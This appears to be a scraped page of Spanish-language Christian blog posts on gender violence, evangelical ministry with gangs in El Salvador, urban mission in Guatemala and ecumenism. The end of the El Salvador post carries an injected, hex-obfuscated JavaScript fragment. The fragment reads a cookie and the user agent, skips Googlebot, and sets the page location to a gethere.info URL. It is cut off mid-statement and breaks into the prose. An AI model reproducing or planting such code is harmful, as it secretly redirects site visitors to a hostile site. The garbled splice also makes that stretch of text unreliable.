Flores que vuelan

Me quedé sentada, inmóvil, viendo cada detalle del proceso:  Ahí estaba ella, pequeña, frágil… se dio la vuelta y empezó a volar, cansada, despacio… como queriendo huir, sin ver hacia atrás.  Sus translúcidas alas estaban heridas.  Parecía que cada vez que las batía el dolor era insoportable, y a mi me dolía verla, agotando su instinto de supervivencia.

Y no supe definir si quería darle un nombre a la mariposa, o dibujarle alas multicolor a las mujeres que venían a mi mente… porque la imagen era tan clara y tan evidente:  y el sobrenombre de las hermanas Mirabal hacía tanto sentido al pensar ahora en la violencia de género.

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“Flores que vuelan” solíamos llamar a las mariposas, y cada vez que queríamos atrapar alguna que merodeaba en el jardín, mi papá nos decía: “Déjenlas en paz, ellas no merecen morir solo por el hecho de ser mariposas”.

Tampoco Laura, ni Mariana, ni Iris, ni Josseline, ni las hermanas Mirabal.  Ellas tampoco merecían morir por el hecho de ser mariposas: tan bellas, tan pequeñas, tan vulnerables y tan libres, hasta que alguien simplemente no quiso dejarlas volar más.


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Otra versión de las Buenas Nuevas en El Salvador

Me gustaría reportar sobre algo emocionante que está llevándose a cabo en El Salvador entre los evangélicos e iglesias Cristianas Pentecostales. En respuesta a la desigualdad en la situación social de pobreza, corrupción y violencia, una nueva generación de Evangélicos Centro Americanos y Pentecostales están comenzando a descubrir que a pesar de las dimensiones sociales de conversión que viene a través del evangelismo, el evangelismo sin compromiso social es una interpretación incompleta de la gran comisión y falla en tomar con seriedad la encarnación de Cristo.

Un ejemplo de esto está en la gran iglesia Pentecostal Elim Misión Internacional. Mientras que se mantienen firmes sobre la necesidad de una regeneración personal, el Pastor Mario Vega y su equipo en Elim han comenzado a hablar sobre el involucramiento en la estructura de maldad en la sociedad. “No es suficiente solo predicar el evangelio o dar ayuda al pobre,” me dijo el pastor Vega hace poco. “Debemos denunciar en contra de y tratar de cambiar esas condiciones que causan pobreza.” Esas actitudes han comenzado a ser más y más prevalecientes entre ciertos grupos de evangélicos y Pentecostales, y tan cerca como puedo rastrearlo, son el resultado de una lectura cuidadosa de los evangelios y de la alguna manera la influencia silenciosa de la Fraternidad Teológica Latinoamericana basada en Argentina.

En El Salvador, cientos de lideres Evangélicos han sido capacitados por Semillas, un afiliado de la Fraternidad Teológica, dirigida por Eliberto Juárez. La orientación teológica de Semillas es dirigida hacia ministerios que son siempre sociales e incluso políticos al mismo tiempo que son espirituales. En sus dos años de programa de capacitación, ellos enfatizan lo que llaman ministerio integral – un énfasis en intención integral de la encarnación de Dios de no dejar ningún humano, ni ningún rincón de la tierra sin ser tocado por Su amor, en consecuencia integrando cada aspecto de la vida en el mensaje redentor de buenas nuevas.

Ha habido muchos resultados notables del trabajo de Semillas y de otros ministerios que compartes ideas similares. Permítanme subrayar solo uno que ha hecho un gran impacto en mi. Este ministerio fue generado por Pastor Pedro Landaverde, una pastor de zona en Misión Elim. Pastor Pedro comenzó a trabajar en la violenta y dirigida por pandillas Comunidad Iberia hace un poco más de dos años, trabajando especialmente con jóvenes y pandillas.

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Sin embargo, en lugar de predicar sobre salvación y hacer campañas evangelisticas, él decidió solo llegar a conocer a estos jóvenes y escuchar cuidadosamente de sus necesidades. Todo esto condujo a una cena Navideña con los lideres de las pandillas y sus familias atendidos por el pastor Pedro y el Pastor Mario Vega. En esta cena ellos hicieron estrategias con estos lideres a cerca de que clase de programas los ayudarían a llenar algunas de sus necesidades materiales y económicas. Lo que dio como resultado de esto fue el desarrollo de una panadería donde los miembros de pandillas son capacitados y donde ellos trabajan, y una fábrica de cloro donde ellos hacen y venden cloro como un suplemento de limpieza. La motivación fue simplemente extender el amor de Cristo dentro de todos los aspectos de la vida comunitaria.

En las palabras del pastor Pedro, la violencia de las pandillas fue finalmente neutralizada, y recién abrieron una escuela para niños la que está fuerte. Además, muchos miembros de pandillas se han convertido en Cristianos y están participando activamente en grupos celulares. Pastor Pedro me dijo que “hacer a Jesús de nuestras vidas debe significar más que solo moralidad personal – debe extenderse hacia el exterior a todos los aspectos de la vida, tiene que ver con la justicia en todas las esferas de la vida, y debe tratarse de llevar Shalom a todas las personas ya sea que oficialmente se conviertan en Cristianos o no.”

Esta es una emocionante y relativamente nueva aplicación de la misión Cristiana dentro del evangelismo y no solamente estáé ayudando a cambiar estructuras sociales locales de pobreza y violencia, sino está también retando las vidas mismas de evangélicos Salvadoreños.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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Lagrimas silenciosas: revelando la verdad

Para resaltar una de estas experiencias de nuestro trabajo en Latino América, me gustaría hacer referencia a un mensaje que enviamos hace algún tiempo. En este, se exponía sobre el “discernimiento” como una de las principales características de los “Lugares de aprendizaje” en donde podemos ver y escuchar a Dios actuando. En el proceso de discernimiento tratamos de mantener nuestros ojos abiertos al mover del Espíritu por medio de un mapeo del trabajar de Dios. Trabajamos tratando de trazar un mapa del dolor y la esperanza de la ciudad o comunidad, creyendo que esto nos ayudará a entender el corazón de Dios para ese lugar en específico.

Por eso, me gustaría compartir con ustedes uno de los procesos de mapeo que tuvimos con nuestra comunidad en la ciudad de Guatemala; usamos el proceso triple de mapeo. Hace algún tiempo, recibimos una invitación para enseñar una clase del programa de Maestría del Seminario Teológico Centroamericano, para la cual utilizamos distintos fragmentos de los cursos de la serie Salmos de la Calle. El nombre del curso era “Principios Fundamentales para la Misionología Urbana.” A esta clase asistieron 25 estudiantes de maestría representando aproximadamente 12 países Latinoamericanos.
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“La sangre de tu hermano clama desde la tierra”

…Cuántas veces has tenido que cerrar el periódico para no seguir leyendo sobre un asesinato más. Cuántas veces has pasado frente al cordón amarillo que puso la policía en la escena de un crimen sin poder más que llorar y suplicar a Dios por las familias de los involucrados.  Una muerte más. Un joven más. Un conductor más. Un niño más. “Una vez más” es demasiado. Es  “una más” de lo necesario. Cuando el valor de la vida cobra nuevos parámetros, la violencia y la muerte están a la orden del día en cada esquina del país, la impotencia y el desconsuelo son sentimientos naturales, pero en las últimas semanas, he tratado de reflexionar en otras maneras en que la Palabra nos guía en medio de estos tiempos difíciles.

“La sangre de tu hermano clama desde la tierra.” 

Hace unos días leía el libro Poder y Pobreza del autor Dewe Hughes, y mencionaba este pasaje de Génesis 4:10, analizándolo como el sentimiento  más básico ante la falta de justicia y el uso incorrecto del poder de parte de ciertos grupos. 
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Ecumenismo Misional en los márgenes

Publicado originalmente en inglés en la Revista Centro.  Usado con permiso.

El ministerio con pandillas nos ha preparado bien para el trabajo ecuménico! ¿Cómo es eso? Hace 20 años cuando mi esposa Jenny y yo comenzamos el ministerio de Cambio Interno entre los miembros latinos de pandillas en San Francisco, los jóvenes pandilleros tiraron por el suelo el guante ecuménico: “Ustedes nos hablan de paz, y nos ruegan que dejemos de matarnos entre sí. Pero ¿que de ustedes Cristianos? ¿Por qué no tienen paz entre ustedes?”

Pregunta difícil. Sin embargo este mismo desafío resuena a través de la historia y alrededor del mundo. Los pobres buscan esperanza en el horizonte Cristiano… frecuentemente en vano. Estas dolorosas realidades confrontan tanto a la misión de la Iglesia y su ecumenismo. Consideremos una respuesta fresca: “Ecumenismo Misional en los Márgenes”.
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La vivienda de Dios: la nueva y reconciliada comunidad (Ef. 2)

Ponencia de Ruth Padilla en Lausana III, Ciudad del Cabo 2010.
Usada con permiso.

Hace apenas unos meses, los ojos de millones de espectadores estaban clavados en las escenas televisadas del Mundial de futbol aquí mismo, en Sudáfrica. Algo me llamó la atención mientras observaba a los jugadores: sin importar el color de su camiseta, en momentos cruciales –al comienzo del partido, antes de un tiro libre—muchos, muchos de ellos asumieron esta posición: manos unidas, cabezas gachas, y, luego, ojos alzados en silenciosa plegaria al cielo. El cielo verdaderamente es el lugar donde habita Dios. En los lugares celestiales, leemos en Efesios 1, está el glorioso trono desde donde reina poderosamente Cristo. Y, más allá de los relatos futbolísticos, bien podemos celebrar como hijas e hijos del Rey que gobierna desde los altos cielos, sobre todo reinado, autoridad, poder y dominio (1.21). A la vez, el pasaje de hoy nos invita a considerar cómo se ve ese reinado cósmico en la vida humana, diaria, tangible. Nos ayuda a responder a la pregunta: ¿dónde vive Dios?
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